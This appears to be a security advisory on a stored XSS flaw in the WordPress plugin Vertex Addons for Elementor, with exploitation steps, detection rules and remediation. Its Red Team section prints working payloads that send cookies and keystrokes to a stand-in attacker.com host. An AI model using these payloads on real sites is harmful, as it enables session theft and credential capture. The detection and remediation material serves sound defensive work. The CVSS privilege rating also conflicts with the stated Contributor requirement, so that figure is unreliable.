CVE-2025-26769

Executive Summary

CVE-2025-26769 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Vertex Addons for Elementor (slug: addons-for-elementor-builder), developed by Webilia Inc. The vulnerability exists in all versions up to and including 1.2.0. An authenticated attacker with at least Contributor-level privileges can inject arbitrary JavaScript into web pages generated by the plugin. When an administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation at the time of analysis. No public exploit code or proof-of-concept is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Users who installed the plugin directly from the WordPress admin dashboard or via the WordPress.org repository are affected. There is no associated NPM, PyPI, Go, or Ruby package. The plugin is not open-source on GitHub, and no OSV advisory exists. The risk is limited to the plugin’s user base.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have Contributor-level or higher access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must visit the compromised page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS means that any user viewing the affected page is at risk.

Deep Dive & Mechanics

The vulnerability resides in the Vertex Addons for Elementor plugin, which extends the Elementor page builder with custom widgets. The plugin fails to properly sanitize user-supplied input before storing it in the WordPress database and later rendering it in the frontend. Specifically, when a user with Contributor or higher privileges creates or edits a page using the plugin’s widgets, the input fields (e.g., text, HTML, or attribute values) are not neutralized. This allows an attacker to inject malicious JavaScript code.

Attack Flow:

1. An authenticated attacker (Contributor or above) creates a new page or edits an existing one using a vulnerable widget from Vertex Addons.
2. The attacker inserts a payload such as <script>alert('XSS')</script> into an input field.
3. The plugin stores the payload in the wp_posts table as part of the page content.
4. When an administrator or any other user visits the page, the browser renders the stored payload, executing the attacker’s script.
5. The script can steal cookies, redirect users, or perform actions on behalf of the victim.

Root Cause: The plugin uses echo or the_content filter without applying esc_html(), wp_kses(), or similar sanitization functions on user-controlled data.

Vulnerable vs. Patched Code

Since no patch is available, the following shows the vulnerable pattern and a hypothetical fix.

Vulnerable Code (hypothetical):

// In a widget render method
echo '<div class="vertex-title">' . $settings['title'] . '</div>';

Patched Code (hypothetical):

// Properly escape output
echo '<div class="vertex-title">' . esc_html( $settings['title'] ) . '</div>';

The vulnerable code directly outputs user input without escaping, while the patched version uses esc_html() to neutralize HTML and JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the Vertex Addons for Elementor plugin (version <= 1.2.0) installed and activated.
• An account with at least Contributor privileges.

Steps:

1. Log in to the WordPress admin panel.
2. Navigate to Pages > Add New.
3. Add a new Elementor page and insert a widget from Vertex Addons (e.g., a heading or text widget).
4. In the widget’s input field, enter the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Publish the page.
6. Send the page link to an administrator or any user with higher privileges.
7. When the victim visits the page, their cookies are exfiltrated to the attacker’s server.

Alternative Payload (for keylogging):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker.com/log.php', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
};
</script>

Blue Team

Detection:

• Monitor WordPress admin logs for unusual page creation or editing by low-privileged users.
• Look for pages containing <script> tags in the post_content field.
• Use the Sigma rule below to detect suspicious HTTP requests.

Prevention:

• Disable the plugin until a patch is released.
• Restrict Contributor-level accounts to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block <script> tags in POST data.

Indicators of Compromise (IOCs)

• File System: Modified or new pages in the wp_posts table containing <script> tags.
• Network: Outbound HTTP requests to unknown domains from the WordPress server.
• Logs: Unusual page creation events from Contributor accounts.
• Browser: Unexpected redirects or pop-ups when viewing pages built with Vertex Addons.

Detection Engineering

YARA Rule

rule CVE_2025_26769_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress post content for CVE-2025-26769"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26769"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
    condition:
        $xss_payload
}

Sigma Rule

title: Stored XSS via Vertex Addons for Elementor
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP POST requests containing script tags in WordPress post content, indicative of CVE-2025-26769 exploitation.
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'wp-admin/post.php'
        sc-status: 200
        cs-request|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by administrators
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26769 Stored XSS Payload in POST"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/post.php"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review all pages created by Contributor-level users for malicious content.
3. Reset passwords for any accounts that may have been compromised.

Long-Term Fix:

• The vendor must release a patched version that properly sanitizes all user inputs using esc_html(), wp_kses(), or similar functions.
• Users should monitor the WordPress Plugin Directory for updates.

Workaround:

• Implement a Content Security Policy (CSP) header to block inline scripts:

  Header set Content-Security-Policy "script-src 'self';"
  

• Use a security plugin like Wordfence to add an additional layer of XSS protection.

Valters IT